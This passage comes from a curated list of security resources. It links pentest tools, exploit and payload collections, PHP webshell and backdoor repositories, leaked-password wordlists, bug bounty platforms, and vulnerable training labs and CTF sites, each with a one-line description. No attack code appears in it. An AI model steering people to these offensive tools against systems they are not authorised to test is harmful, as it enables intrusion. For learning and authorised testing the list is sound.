:small_orange_diamond: <a href="https://twitter.com/haveibeenpwned"><b>@haveibeenpwned</b></a> - check if you have an account that has been compromised in a data breach.<br>
:small_orange_diamond: <a href="https://twitter.com/bugcrowd"><b>@bugcrowd</b></a> - trusted by more of the Fortune 500 than any other crowdsourced security platform.<br>
:small_orange_diamond: <a href="https://twitter.com/Malwarebytes"><b>@Malwarebytes</b></a> - most trusted security company. Unmatched threat visibility.<br>
:small_orange_diamond: <a href="https://twitter.com/sansforensics"><b>@sansforensics</b></a> - the world's leading Digital Forensics and Incident Response provider.<br>
:small_orange_diamond: <a href="https://twitter.com/attcyber"><b>@attcyber</b></a> - AT&T Cybersecurity’s Edge-to-Edge technologies provide threat intelligence, and more.<br>
:small_orange_diamond: <a href="https://twitter.com/TheManyHatsClub"><b>@TheManyHatsClub</b></a> - an information security focused podcast and group of individuals from all walks of life.<br>
:small_orange_diamond: <a href="https://twitter.com/hedgehogsec"><b>@hedgehogsec</b></a> - Hedgehog Cyber. Gibraltar and Manchester's top boutique information security firm.<br>
:small_orange_diamond: <a href="https://twitter.com/NCSC"><b>@NCSC</b></a> - the National Cyber Security Centre. Helping to make the UK the safest place to live and work online.<br>
:small_orange_diamond: <a href="https://twitter.com/Synacktiv"><b>@Synacktiv</b></a> - IT security experts.<br>
</p>
##### :black_small_square: A piece of history
<p>
:small_orange_diamond: <a href="http://ftp.arl.army.mil/~mike/howto/"><b>How to Do Things at ARL</b></a> - how to configure modems, scan images, record CD-ROMs, and other.<b>*</b><br>
</p>
##### :black_small_square: Other
<p>
:small_orange_diamond: <a href="https://www.youtube.com/watch?v=3QnD2c4Xovk"><b>Diffie-Hellman Key Exchange (short version)</b></a> - how Diffie-Hellman Key Exchange worked.<br>
</p>
#### Hacking/Penetration Testing [<sup>[TOC]</sup>](#anger-table-of-contents)
##### :black_small_square: Pentesters arsenal tools
<p>
:small_orange_diamond: <a href="http://www.syhunt.com/sandcat/"><b>Sandcat Browser</b></a> - a penetration-oriented browser with plenty of advanced functionality already built in.<br>
:small_orange_diamond: <a href="https://www.metasploit.com/"><b>Metasploit</b></a> - tool and framework for pentesting system, web and many more, contains a lot a ready to use exploit.<br>
:small_orange_diamond: <a href="https://portswigger.net/burp"><b>Burp Suite</b></a> - tool for testing web app security, intercepting proxy to replay, inject, scan and fuzz HTTP requests.<br>
:small_orange_diamond: <a href="https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project"><b>OWASP Zed Attack Proxy</b></a> - intercepting proxy to replay, inject, scan and fuzz HTTP requests.<br>
:small_orange_diamond: <a href="http://w3af.org/"><b>w3af</b></a> - is a Web Application Attack and Audit Framework.<br>
:small_orange_diamond: <a href="https://mitmproxy.org/"><b>mitmproxy</b></a> - an interactive TLS-capable intercepting HTTP proxy for penetration testers and software developers.<br>
:small_orange_diamond: <a href="https://cirt.net/Nikto2"><b>Nikto2</b></a> - web server scanner which performs comprehensive tests against web servers for multiple items.<br>
:small_orange_diamond: <a href="http://sqlmap.org/"><b>sqlmap</b></a> - tool that automates the process of detecting and exploiting SQL injection flaws.<br>
:small_orange_diamond: <a href="https://github.com/lanmaster53/recon-ng"><b>Recon-ng</b></a> - is a full-featured Web Reconnaissance framework written in Python.<br>
:small_orange_diamond: <a href="https://github.com/Tib3rius/AutoRecon"><b>AutoRecon</b></a> - is a network reconnaissance tool which performs automated enumeration of services.<br>
:small_orange_diamond: <a href="https://www.faradaysec.com/"><b>Faraday</b></a> - an Integrated Multiuser Pentest Environment.<br>
:small_orange_diamond: <a href="https://github.com/s0md3v/Photon"><b>Photon</b></a> - incredibly fast crawler designed for OSINT.<br>
:small_orange_diamond: <a href="https://github.com/s0md3v/XSStrike"><b>XSStrike</b></a> - most advanced XSS detection suite.<br>
:small_orange_diamond: <a href="https://github.com/1N3/Sn1per"><b>Sn1per</b></a> - automated pentest framework for offensive security experts.<br>
:small_orange_diamond: <a href="https://github.com/future-architect/vuls"><b>vuls</b></a> - is an agent-less vulnerability scanner for Linux, FreeBSD, and other.<br>
:small_orange_diamond: <a href="https://github.com/google/tsunami-security-scanner"><b>tsunami</b></a> - is a general purpose network security scanner with an extensible plugin system.<br>
:small_orange_diamond: <a href="https://github.com/michenriksen/aquatone"><b>aquatone</b></a> - a tool for domain flyovers.<br>
:small_orange_diamond: <a href="https://github.com/GitHackTools/BillCipher"><b>BillCipher</b></a> - information gathering tool for a website or IP address.<br>
:small_orange_diamond: <a href="https://github.com/Ekultek/WhatWaf"><b>WhatWaf</b></a> - detect and bypass web application firewalls and protection systems.<br>
:small_orange_diamond: <a href="https://github.com/s0md3v/Corsy"><b>Corsy</b></a> - CORS misconfiguration scanner.<br>
:small_orange_diamond: <a href="https://github.com/evyatarmeged/Raccoon"><b>Raccoon</b></a> - is a high performance offensive security tool for reconnaissance and vulnerability scanning.<br>
:small_orange_diamond: <a href="https://github.com/Nekmo/dirhunt"><b>dirhunt</b></a> - find web directories without bruteforce.<br>
:small_orange_diamond: <a href="https://www.openwall.com/john/"><b>John The Ripper</b></a> - is a fast password cracker, currently available for many flavors of Unix, Windows, and other.<br>
:small_orange_diamond: <a href="https://hashcat.net/hashcat/"><b>hashcat</b></a> - world's fastest and most advanced password recovery utility.<br>
:small_orange_diamond: <a href="http://lcamtuf.coredump.cx/p0f3/"><b>p0f</b></a> - is a tool to identify the players behind any incidental TCP/IP communications.<br>
:small_orange_diamond: <a href="https://github.com/mozilla/ssh_scan"><b>ssh_scan</b></a> - a prototype SSH configuration and policy scanner.<br>
:small_orange_diamond: <a href="https://github.com/woj-ciech/LeakLooker"><b>LeakLooker</b></a> - find open databases - powered by Binaryedge.io<br>
:small_orange_diamond: <a href="https://github.com/offensive-security/exploitdb"><b>exploitdb</b></a> - searchable archive from The Exploit Database.<br>
:small_orange_diamond: <a href="https://github.com/vulnersCom/getsploit"><b>getsploit</b></a> - is a command line utility for searching and downloading exploits.<br>
:small_orange_diamond: <a href="https://github.com/zardus/ctf-tools"><b>ctf-tools</b></a> - some setup scripts for security research tools.<br>
:small_orange_diamond: <a href="https://github.com/Gallopsled/pwntools"><b>pwntools</b></a> - CTF framework and exploit development library.<br>
:small_orange_diamond: <a href="https://github.com/bl4de/security-tools"><b>security-tools</b></a> - collection of small security tools created mostly in Python. CTFs, pentests and so on.<br>
:small_orange_diamond: <a href="https://github.com/leonteale/pentestpackage"><b>pentestpackage</b></a> - is a package of Pentest scripts.<br>
:small_orange_diamond: <a href="https://github.com/dloss/python-pentest-tools"><b>python-pentest-tools</b></a> - python tools for penetration testers.<br>
:small_orange_diamond: <a href="https://github.com/fuzzdb-project/fuzzdb"><b>fuzzdb</b></a> - dictionary of attack patterns and primitives for black-box application fault injection.<br>
:small_orange_diamond: <a href="https://github.com/google/AFL"><b>AFL</b></a> - is a free software fuzzer maintained by Google.<br>
:small_orange_diamond: <a href="https://github.com/AFLplusplus/AFLplusplus"><b>AFL++</b></a> - is AFL with community patches.<br>
:small_orange_diamond: <a href="https://github.com/google/syzkaller"><b>syzkaller</b></a> - is an unsupervised, coverage-guided kernel fuzzer.<br>
:small_orange_diamond: <a href="https://github.com/pwndbg/pwndbg"><b>pwndbg</b></a> - exploit development and reverse engineering with GDB made easy.<br>
:small_orange_diamond: <a href="https://github.com/longld/peda"><b>GDB PEDA</b></a> - Python Exploit Development Assistance for GDB.<br>
:small_orange_diamond: <a href="https://www.hex-rays.com/products/ida/index.shtml"><b>IDA</b></a> - multi-processor disassembler and debugger useful for reverse engineering malware.<br>
:small_orange_diamond: <a href="https://github.com/radare/radare2"><b>radare2</b></a> - framework for reverse-engineering and analyzing binaries.<br>
:small_orange_diamond: <a href="https://github.com/threat9/routersploit"><b>routersploit</b></a> - exploitation framework for embedded devices.<br>
:small_orange_diamond: <a href="https://github.com/NationalSecurityAgency/ghidra"><b>Ghidra</b></a> - is a software reverse engineering (SRE) framework.<br>
:small_orange_diamond: <a href="https://github.com/salesforce/vulnreport"><b>Vulnreport</b></a> - open-source pentesting management and automation platform by Salesforce Product Security.<br>
:small_orange_diamond: <a href="https://github.com/sc0tfree/mentalist"><b>Mentalist</b></a> - is a graphical tool for custom wordlist generation.<br>
:small_orange_diamond: <a href="https://github.com/archerysec/archerysec"><b>archerysec</b></a> - vulnerability assessment and management helps to perform scans and manage vulnerabilities.<br>
:small_orange_diamond: <a href="https://github.com/j3ssie/Osmedeus"><b>Osmedeus</b></a> - fully automated offensive security tool for reconnaissance and vulnerability scanning.<br>
:small_orange_diamond: <a href="https://github.com/beefproject/beef"><b>beef</b></a> - the browser exploitation framework project.<br>
:small_orange_diamond: <a href="https://github.com/NullArray/AutoSploit"><b>AutoSploit</b></a> - automated mass exploiter.<br>
:small_orange_diamond: <a href="https://github.com/TH3xACE/SUDO_KILLER"><b>SUDO_KILLER</b></a> - is a tool to identify and exploit sudo rules' misconfigurations and vulnerabilities.<br>
:small_orange_diamond: <a href="https://github.com/VirusTotal/yara"><b>yara</b></a> - the pattern matching swiss knife.<br>
:small_orange_diamond: <a href="https://github.com/gentilkiwi/mimikatz"><b>mimikatz</b></a> - a little tool to play with Windows security.<br>
:small_orange_diamond: <a href="https://github.com/sherlock-project/sherlock"><b>sherlock</b></a> - hunt down social media accounts by username across social networks.<br>
:small_orange_diamond: <a href="https://owasp.org/www-project-threat-dragon/"><b>OWASP Threat Dragon</b></a> - is a tool used to create threat model diagrams and to record possible threats.<br>
</p>
##### :black_small_square: Pentests bookmarks collection
<p>
:small_orange_diamond: <a href="http://www.pentest-standard.org/index.php/Main_Page"><b>PTES</b></a> - the penetration testing execution standard.<br>
:small_orange_diamond: <a href="https://www.amanhardikar.com/mindmaps/Practice.html"><b>Pentests MindMap</b></a> - amazing mind map with vulnerable apps and systems.<br>
:small_orange_diamond: <a href="https://www.amanhardikar.com/mindmaps/webapptest.html"><b>WebApps Security Tests MindMap</b></a> - incredible mind map for WebApps security tests.<br>
:small_orange_diamond: <a href="https://brutelogic.com.br/blog/"><b>Brute XSS</b></a> - master the art of Cross Site Scripting.<br>
:small_orange_diamond: <a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet"><b>XSS cheat sheet</b></a> - contains many vectors that can help you bypass WAFs and filters.<br>
:small_orange_diamond: <a href="https://jivoi.github.io/2015/07/03/offensive-security-bookmarks/"><b>Offensive Security Bookmarks</b></a> - security bookmarks collection, all things that author need to pass OSCP.<br>
:small_orange_diamond: <a href="https://github.com/coreb1t/awesome-pentest-cheat-sheets"><b>Awesome Pentest Cheat Sheets</b></a> - collection of the cheat sheets useful for pentesting.<br>
:small_orange_diamond: <a href="https://github.com/Hack-with-Github/Awesome-Hacking"><b>Awesome Hacking by HackWithGithub</b></a> - awesome lists for hackers, pentesters and security researchers.<br>
:small_orange_diamond: <a href="https://github.com/carpedm20/awesome-hacking"><b>Awesome Hacking by carpedm20</b></a> - a curated list of awesome hacking tutorials, tools and resources.<br>
:small_orange_diamond: <a href="https://github.com/vitalysim/Awesome-Hacking-Resources"><b>Awesome Hacking Resources</b></a> - collection of hacking/penetration testing resources to make you better.<br>
:small_orange_diamond: <a href="https://github.com/enaqx/awesome-pentest"><b>Awesome Pentest</b></a> - collection of awesome penetration testing resources, tools and other shiny things.<br>
:small_orange_diamond: <a href="https://github.com/m4ll0k/Awesome-Hacking-Tools"><b>Awesome-Hacking-Tools</b></a> - is a curated list of awesome Hacking Tools.<br>
:small_orange_diamond: <a href="https://github.com/ksanchezcld/Hacking_Cheat_Sheet"><b>Hacking Cheat Sheet</b></a> - author hacking and pentesting notes.<br>
:small_orange_diamond: <a href="https://github.com/toolswatch/blackhat-arsenal-tools"><b>blackhat-arsenal-tools</b></a> - official Black Hat arsenal security tools repository.<br>
:small_orange_diamond: <a href="https://www.peerlyst.com/posts/the-complete-list-of-infosec-related-cheat-sheets-claus-cramon"><b>Penetration Testing and WebApp Cheat Sheets</b></a> - the complete list of Infosec related cheat sheets.<br>
:small_orange_diamond: <a href="https://github.com/The-Art-of-Hacking/h4cker"><b>Cyber Security Resources</b></a> - includes thousands of cybersecurity-related references and resources.<br>
:small_orange_diamond: <a href="https://github.com/jhaddix/pentest-bookmarks"><b>Pentest Bookmarks</b></a> - there are a LOT of pentesting blogs.<br>
:small_orange_diamond: <a href="https://github.com/OlivierLaflamme/Cheatsheet-God"><b>Cheatsheet-God</b></a> - Penetration Testing Reference Bank - OSCP/PTP & PTX Cheatsheet.<br>
:small_orange_diamond: <a href="https://github.com/Cyb3rWard0g/ThreatHunter-Playbook"><b>ThreatHunter-Playbook</b></a> - to aid the development of techniques and hypothesis for hunting campaigns.<br>
:small_orange_diamond: <a href="https://github.com/hmaverickadams/Beginner-Network-Pentesting"><b>Beginner-Network-Pentesting</b></a> - notes for beginner network pentesting course.<br>
:small_orange_diamond: <a href="https://github.com/rewardone/OSCPRepo"><b>OSCPRepo</b></a> - is a list of resources that author have been gathering in preparation for the OSCP.<br>
:small_orange_diamond: <a href="https://github.com/swisskyrepo/PayloadsAllTheThings"><b>PayloadsAllTheThings</b></a> - a list of useful payloads and bypass for Web Application Security and Pentest/CTF.<br>
:small_orange_diamond: <a href="https://github.com/foospidy/payloads"><b>payloads</b></a> - git all the Payloads! A collection of web attack payloads.<br>
:small_orange_diamond: <a href="https://github.com/payloadbox/command-injection-payload-list"><b>command-injection-payload-list</b></a> - command injection payload list.<br>
:small_orange_diamond: <a href="https://github.com/s0md3v/AwesomeXSS"><b>AwesomeXSS</b></a> - is a collection of Awesome XSS resources.<br>
:small_orange_diamond: <a href="https://github.com/JohnTroony/php-webshells"><b>php-webshells</b></a> - common php webshells.<br>
:small_orange_diamond: <a href="https://highon.coffee/blog/penetration-testing-tools-cheat-sheet/"><b>Pentesting Tools Cheat Sheet</b></a> - a quick reference high level overview for typical penetration testing.<br>
:small_orange_diamond: <a href="https://cheatsheetseries.owasp.org/"><b>OWASP Cheat Sheet Series</b></a> - is a collection of high value information on specific application security topics.<br>
:small_orange_diamond: <a href="https://jeremylong.github.io/DependencyCheck/index.html"><b>OWASP dependency-check</b></a> - is an open source solution the OWASP Top 10 2013 entry.<br>
:small_orange_diamond: <a href="https://www.owasp.org/index.php/OWASP_Proactive_Controls"><b>OWASP ProActive Controls</b></a> - OWASP Top 10 Proactive Controls 2018.<br>
:small_orange_diamond: <a href="https://github.com/blaCCkHatHacEEkr/PENTESTING-BIBLE"><b>PENTESTING-BIBLE</b></a> - hacking & penetration testing & red team & cyber security & computer science resources.<br>
:small_orange_diamond: <a href="https://github.com/nixawk/pentest-wiki"><b>pentest-wiki</b></a> - is a free online security knowledge library for pentesters/researchers.<br>
:small_orange_diamond: <a href="https://media.defcon.org/"><b>DEF CON Media Server</b></a> - great stuff from DEFCON.<br>
:small_orange_diamond: <a href="https://github.com/rshipp/awesome-malware-analysis"><b>Awesome Malware Analysis</b></a> - a curated list of awesome malware analysis tools and resources.<br>
:small_orange_diamond: <a href="https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/"><b>SQL Injection Cheat Sheet</b></a> - detailed technical information about the many different variants of the SQL Injection.<br>
:small_orange_diamond: <a href="http://kb.entersoft.co.in/"><b>Entersoft Knowledge Base</b></a> - great and detailed reference about vulnerabilities.<br>
:small_orange_diamond: <a href="http://html5sec.org/"><b>HTML5 Security Cheatsheet</b></a> - a collection of HTML5 related XSS attack vectors.<br>
:small_orange_diamond: <a href="http://evuln.com/tools/xss-encoder/"><b>XSS String Encoder</b></a> - for generating XSS code to check your input validation filters against XSS.<br>
:small_orange_diamond: <a href="https://gtfobins.github.io/"><b>GTFOBins</b></a> - list of Unix binaries that can be exploited by an attacker to bypass local security restrictions.<br>
:small_orange_diamond: <a href="https://guif.re/"><b>Guifre Ruiz Notes</b></a> - collection of security, system, network and pentest cheatsheets.<br>
:small_orange_diamond: <a href="http://blog.safebuff.com/2016/07/03/SSRF-Tips/index.html"><b>SSRF Tips</b></a> - a collection of SSRF Tips.<br>
:small_orange_diamond: <a href="http://shell-storm.org/repo/CTF/"><b>shell-storm repo CTF</b></a> - great archive of CTFs.<br>
:small_orange_diamond: <a href="https://github.com/bl4de/ctf"><b>ctf</b></a> - CTF (Capture The Flag) writeups, code snippets, notes, scripts.<br>
:small_orange_diamond: <a href="https://github.com/orangetw/My-CTF-Web-Challenges"><b>My-CTF-Web-Challenges</b></a> - collection of CTF Web challenges.<br>
:small_orange_diamond: <a href="https://github.com/OWASP/owasp-mstg"><b>MSTG</b></a> - The Mobile Security Testing Guide (MSTG) is a comprehensive manual for mobile app security testing.<br>
:small_orange_diamond: <a href="https://github.com/sdcampbell/Internal-Pentest-Playbook"><b>Internal-Pentest-Playbook</b></a> - notes on the most common things for an Internal Network Penetration Test.<br>
:small_orange_diamond: <a href="https://github.com/streaak/keyhacks"><b>KeyHacks</b></a> - shows quick ways in which API keys leaked by a bug bounty program can be checked.<br>
:small_orange_diamond: <a href="https://github.com/securitum/research"><b>securitum/research</b></a> - various Proof of Concepts of security research performed by Securitum.<br>
:small_orange_diamond: <a href="https://github.com/juliocesarfort/public-pentesting-reports"><b>public-pentesting-reports</b></a> - is a list of public pentest reports released by several consulting security groups.<br>
:small_orange_diamond: <a href="https://github.com/djadmin/awesome-bug-bounty"><b>awesome-bug-bounty</b></a> - is a comprehensive curated list of available Bug Bounty.<br>
:small_orange_diamond: <a href="https://github.com/ngalongc/bug-bounty-reference"><b>bug-bounty-reference</b></a> - is a list of bug bounty write-ups.<br>
:small_orange_diamond: <a href="https://github.com/devanshbatham/Awesome-Bugbounty-Writeups"><b>Awesome-Bugbounty-Writeups</b></a> - is a curated list of bugbounty writeups.<br>
:small_orange_diamond: <a href="https://pentester.land/list-of-bug-bounty-writeups.html"><b>Bug bounty writeups</b></a> - list of bug bounty writeups (2012-2020).<br>
:small_orange_diamond: <a href="https://hackso.me/"><b>hackso.me</b></a> - a great journey into security.<br>
</p>
##### :black_small_square: Backdoors/exploits
<p>
:small_orange_diamond: <a href="https://github.com/bartblaze/PHP-backdoors"><b>PHP-backdoors</b></a> - a collection of PHP backdoors. For educational or testing purposes only.<br>
</p>
##### :black_small_square: Wordlists and Weak passwords
<p>
:small_orange_diamond: <a href="https://weakpass.com/"><b>Weakpass</b></a> - for any kind of bruteforce find wordlists or unleash the power of them all at once!<br>
:small_orange_diamond: <a href="https://hashes.org/"><b>Hashes.org</b></a> - is a free online hash resolving service incorporating many unparalleled techniques.<br>
:small_orange_diamond: <a href="https://github.com/danielmiessler/SecLists"><b>SecLists</b></a> - collection of multiple types of lists used during security assessments, collected in one place.<br>
:small_orange_diamond: <a href="https://github.com/berzerk0/Probable-Wordlists"><b>Probable-Wordlists</b></a> - sorted by probability originally created for password generation and testing.<br>
:small_orange_diamond: <a href="https://wiki.skullsecurity.org/index.php?title=Passwords"><b>skullsecurity passwords</b></a> - password dictionaries and leaked passwords repository.<br>
:small_orange_diamond: <a href="https://bezpieka.org/polski-slownik-premium-polish-wordlist"><b>Polish PREMIUM Dictionary</b></a> - official dictionary created by the team on the forum bezpieka.org.<b>*</b> <sup><a href="https://sourceforge.net/projects/kali-linux/files/Wordlist/">1</sup><br>
:small_orange_diamond: <a href="https://github.com/insidetrust/statistically-likely-usernames"><b>statistically-likely-usernames</b></a> - wordlists for creating statistically likely username lists.<br>
</p>
##### :black_small_square: Bounty platforms
<p>
:small_orange_diamond: <a href="https://www.yeswehack.com/"><b>YesWeHack</b></a> - bug bounty platform with infosec jobs.<br>
:small_orange_diamond: <a href="https://www.openbugbounty.org/"><b>Openbugbounty</b></a> - allows any security researcher reporting a vulnerability on any website.<br>
:small_orange_diamond: <a href="https://www.hackerone.com/"><b>hackerone</b></a> - global hacker community to surface the most relevant security issues.<br>
:small_orange_diamond: <a href="https://www.bugcrowd.com/"><b>bugcrowd</b></a> - crowdsourced cybersecurity for the enterprise.<br>
:small_orange_diamond: <a href="https://crowdshield.com/"><b>Crowdshield</b></a> - crowdsourced security & bug bounty management.<br>
:small_orange_diamond: <a href="https://www.synack.com/"><b>Synack</b></a> - crowdsourced security & bug bounty programs, crowd security intelligence platform, and more.<br>
:small_orange_diamond: <a href="https://hacktrophy.com/en/"><b>Hacktrophy</b></a> - bug bounty platform.<br>
</p>
##### :black_small_square: Web Training Apps (local installation)
<p>
:small_orange_diamond: <a href="https://www.owasp.org/index.php/OWASP_Vulnerable_Web_Applications_Directory_Project"><b>OWASP-VWAD</b></a> - comprehensive and well maintained registry of all known vulnerable web applications.<br>
:small_orange_diamond: <a href="http://www.dvwa.co.uk/"><b>DVWA</b></a> - PHP/MySQL web application that is damn vulnerable.<br>
:small_orange_diamond: <a href="https://metasploit.help.rapid7.com/docs/metasploitable-2"><b>metasploitable2</b></a> - vulnerable web application amongst security researchers.<br>
:small_orange_diamond: <a href="https://github.com/rapid7/metasploitable3"><b>metasploitable3</b></a> - is a VM that is built from the ground up with a large amount of security vulnerabilities.<br>
:small_orange_diamond: <a href="https://github.com/stamparm/DSVW"><b>DSVW</b></a> - is a deliberately vulnerable web application written in under 100 lines of code.<br>
:small_orange_diamond: <a href="https://sourceforge.net/projects/mutillidae/"><b>OWASP Mutillidae II</b></a> - free, open source, deliberately vulnerable web-application.<br>
:small_orange_diamond: <a href="https://www.owasp.org/index.php/OWASP_Juice_Shop_Project"><b>OWASP Juice Shop Project</b></a> - the most bug-free vulnerable application in existence.<br>
:small_orange_diamond: <a href="https://www.owasp.org/index.php/Projects/OWASP_Node_js_Goat_Project"><b>OWASP Node js Goat Project</b></a> - OWASP Top 10 security risks apply to web apps developed using Node.js.<br>
:small_orange_diamond: <a href="https://github.com/iteratec/juicy-ctf"><b>juicy-ctf</b></a> - run Capture the Flags and Security Trainings with OWASP Juice Shop.<br>
:small_orange_diamond: <a href="https://github.com/OWASP/SecurityShepherd"><b>SecurityShepherd</b></a> - web and mobile application security training platform.<br>
:small_orange_diamond: <a href="https://github.com/opendns/Security_Ninjas_AppSec_Training"><b>Security Ninjas</b></a> - open source application security training program.<br>
:small_orange_diamond: <a href="https://github.com/rapid7/hackazon"><b>hackazon</b></a> - a modern vulnerable web app.<br>
:small_orange_diamond: <a href="https://github.com/appsecco/dvna"><b>dvna</b></a> - damn vulnerable NodeJS application.<br>
:small_orange_diamond: <a href="https://github.com/DefectDojo/django-DefectDojo"><b>django-DefectDojo</b></a> - is an open-source application vulnerability correlation and security orchestration tool.<br>
:small_orange_diamond: <a href="https://google-gruyere.appspot.com/"><b>Google Gruyere</b></a> - web application exploits and defenses.<br>
:small_orange_diamond: <a href="https://github.com/amolnaik4/bodhi"><b>Bodhi</b></a> - is a playground focused on learning the exploitation of client-side web vulnerabilities.<br>
:small_orange_diamond: <a href="https://websploit.h4cker.org/"><b>Websploit</b></a> - single vm lab with the purpose of combining several vulnerable appliations in one environment.<br>
:small_orange_diamond: <a href="https://github.com/vulhub/vulhub"><b>vulhub</b></a> - pre-built Vulnerable Environments based on docker-compose.<br>
:small_orange_diamond: <a href="https://rhinosecuritylabs.com/aws/introducing-cloudgoat-2/"><b>CloudGoat 2</b></a> - the new & improved "Vulnerable by Design"
AWS deployment tool.<br>
:small_orange_diamond: <a href="https://github.com/globocom/secDevLabs"><b>secDevLabs</b></a> - is a laboratory for learning secure web development in a practical manner.<br>
:small_orange_diamond: <a href="https://github.com/incredibleindishell/CORS-vulnerable-Lab"><b>CORS-vulnerable-Lab</b></a> - sample vulnerable code and its exploit code.<br>
:small_orange_diamond: <a href="https://github.com/moloch--/RootTheBox"><b>RootTheBox</b></a> - a Game of Hackers (CTF Scoreboard & Game Manager).<br>
</p>
##### :black_small_square: Labs (ethical hacking platforms/trainings/CTFs)
<p>
:small_orange_diamond: <a href="https://www.offensive-security.com/"><b>Offensive Security</b></a> - true performance-based penetration testing training for over a decade.<br>
:small_orange_diamond: <a href="https://www.hackthebox.eu/"><b>Hack The Box</b></a> - online platform allowing you to test your penetration testing skills.<br>
:small_orange_diamond: <a href="https://www.hacking-lab.com/index.html"><b>Hacking-Lab</b></a> - online ethical hacking, computer network and security challenge platform.<br>
:small_orange_diamond: <a href="http://pwnable.kr/index.php"><b>pwnable.kr</b></a> - non-commercial wargame site which provides various pwn challenges.<br>
:small_orange_diamond: <a href="https://pwnable.tw/"><b>Pwnable.tw</b></a> - is a wargame site for hackers to test and expand their binary exploiting skills.<br>
:small_orange_diamond: <a href="https://picoctf.com/"><b>picoCTF</b></a> - is a free computer security game targeted at middle and high school students.<br>
:small_orange_diamond: <a href="https://ctflearn.com/"><b>CTFlearn</b></a> - is an online platform built to help ethical hackers learn and practice their cybersecurity knowledge.<br>
:small_orange_diamond: <a href="https://ctftime.org/"><b>ctftime</b></a> - CTF archive and a place, where you can get some another CTF-related info.<br>
:small_orange_diamond: <a href="https://silesiasecuritylab.com/"><b>Silesia Security Lab</b></a> - high quality security testing services.<br>
:small_orange_diamond: <a href="https://practicalpentestlabs.com/"><b>Practical Pentest Labs</b></a> - pentest lab, take your Hacking skills to the next level.<br>
:small_orange_diamond: <a href="https://www.root-me.org/?lang=en"><b>Root Me</b></a> - the fast, easy, and affordable way to train your hacking skills.<br>
:small_orange_diamond: <a href="https://rozwal.to/login"><b>rozwal.to</b></a> - a great platform to train your pentesting skills.<br>
:small_orange_diamond: <a href="https://tryhackme.com/"><b>TryHackMe</b></a> - learning Cyber Security made easy.<br>
:small_orange_diamond: <a href="https://hackxor.net/"><b>hackxor</b></a> - is a realistic web application hacking game, designed to help players of all abilities develop their skills.<br>
:small_orange_diamond: <a href="http://hack-yourself-first.com/"><b>Hack Yourself First</b></a> - it's full of nasty app sec holes.<br>
:small_orange_diamond: <a href="http://overthewire.org/wargames/"><b>OverTheWire</b></a> - can help you to learn and practice security concepts in the form of fun-filled games.<br>
:small_orange_diamond: <a href="https://labs.wizard-security.net/"><b>Wizard Labs</b></a> - is an online Penetration Testing Lab.<br>
:small_orange_diamond: <a href="https://pentesterlab.com/"><b>PentesterLab</b></a> - provides vulnerable systems that can be used to test and understand vulnerabilities.<br>
:small_orange_diamond: <a href="https://ringzer0ctf.com/"><b>RingZer0</b></a> - tons of challenges designed to test and improve your hacking skills.<br>
:small_orange_diamond: <a href="http://www.try2hack.nl/"><b>try2hack</b></a> - several security-oriented challenges for your entertainment.<br>
:small_orange_diamond: <a href="https://www.ubeeri.com/preconfig-labs"><b>Ubeeri</b></a> - preconfigured lab environments.<br>
:small_orange_diamond: <a href="https://lab.pentestit.ru/"><b>Pentestit</b></a> - emulate IT infrastructures of real companies for legal pen testing and improving pentest skills.<br>
:small_orange_diamond: <a href="https://microcorruption.com/login"><b>Microcorruption</b></a> - reversal challenges done in the web interface.<br>
:small_orange_diamond: <a href="https://crackmes.one/"><b>Crackmes</b></a> - download crackmes to help improve your reverse engineering skills.<br>
:small_orange_diamond: <a href="https://domgo.at/cxss/intro"><b>DomGoat</b></a> - DOM XSS security learning and practicing platform.<br>
:small_orange_diamond: <a href="https://chall.stypr.com"><b>Stereotyped Challenges</b></a> - upgrade your web hacking techniques today!<br>
:small_orange_diamond: <a href="https://www.vulnhub.com/"><b>Vulnhub</b></a> - allows anyone to gain practical 'hands-on' experience in digital security.<br>
:small_orange_diamond: <a href="https://w3challs.com/"><b>W3Challs</b></a> - is a penetration testing training platform, which offers various computer challenges.<br>
:small_orange_diamond: <a href="https://ringzer0ctf.com/challenges"><b>RingZer0 CTF</b></a> - offers you tons of challenges designed to test and improve your hacking skills.<br>
:small_orange_diamond: <a href="https://hack.me/"><b>Hack.me</b></a> - a platform where you can build, host and share vulnerable web apps for educational purposes.<br>
:small_orange_diamond: <a href="https://www.hackthis.co.uk/levels/"><b>HackThis!</b></a> - discover how hacks, dumps and defacements are performed and secure your website.<br>
:small_orange_diamond: <a href="https://www.enigmagroup.org/#"><b>Enigma Group WebApp Training</b></a> - these challenges cover the exploits listed in the OWASP Top 10 Project.<br>
:small_orange_diamond: <a href="https://challenges.re/"><b>Reverse Engineering Challenges</b></a> - challenges, exercises, problems and tasks - by level, by type, and more.<br>
:small_orange_diamond: <a href="https://0x00sec.org/"><b>0x00sec</b></a> - the home of the Hacker - Malware, Reverse Engineering, and Computer Science.<br>
:small_orange_diamond: <a href="https://www.wechall.net/challs"><b>We Chall</b></a> - there are exist a lots of different challenge types.<br>
:small_orange_diamond: <a href="https://www.hackergateway.com/"><b>Hacker Gateway</b></a> - is the go-to place for hackers who want to test their skills.<br>
:small_orange_diamond: <a href="https://www.hacker101.com/"><b>Hacker101</b></a> - is a free class for web security.<br>
:small_orange_diamond: <a href="https://contained.af/"><b>contained.af</b></a> - a stupid game for learning about containers, capabilities, and syscalls.<br>
:small_orange_diamond: <a href="http://flaws.cloud/"><b>flAWS challenge!</b></a> - a series of levels you'll learn about common mistakes and gotchas when using AWS.<br>
:small_orange_diamond: <a href="https://cybersecurity.wtf"><b>CyberSec WTF</b></a> - provides web hacking challenges derived from bounty write-ups.<br>
:small_orange_diamond: <a href="https://ctfchallenge.co.uk/login"><b>CTF Challenge</b></a> - CTF Web App challenges.<br>
:small_orange_diamond: <a href="https://capturetheflag.withgoogle.com"><b>gCTF</b></a> - most of the challenges used in the Google CTF 2017.<br>
:small_orange_diamond: <a href="https://www.hackthissite.org/pages/index/index.php"><b>Hack This Site</b></a> - is a free, safe and legal training ground for hackers.<br>
:small_orange_diamond: <a href="https://attackdefense.com"><b>Attack & Defense</b></a> - is a browser-based cloud labs.<br>
:small_orange_diamond: <a href="https://cryptohack.org/"><b>Cryptohack</b></a> - a fun platform for learning modern cryptography.<br>
:small_orange_diamond: <a href="https://cryptopals.com/"><b>Cryptopals</b></a> - the cryptopals crypto challenges.<br>
</p>
##### :black_small_square: CTF platforms
<p>
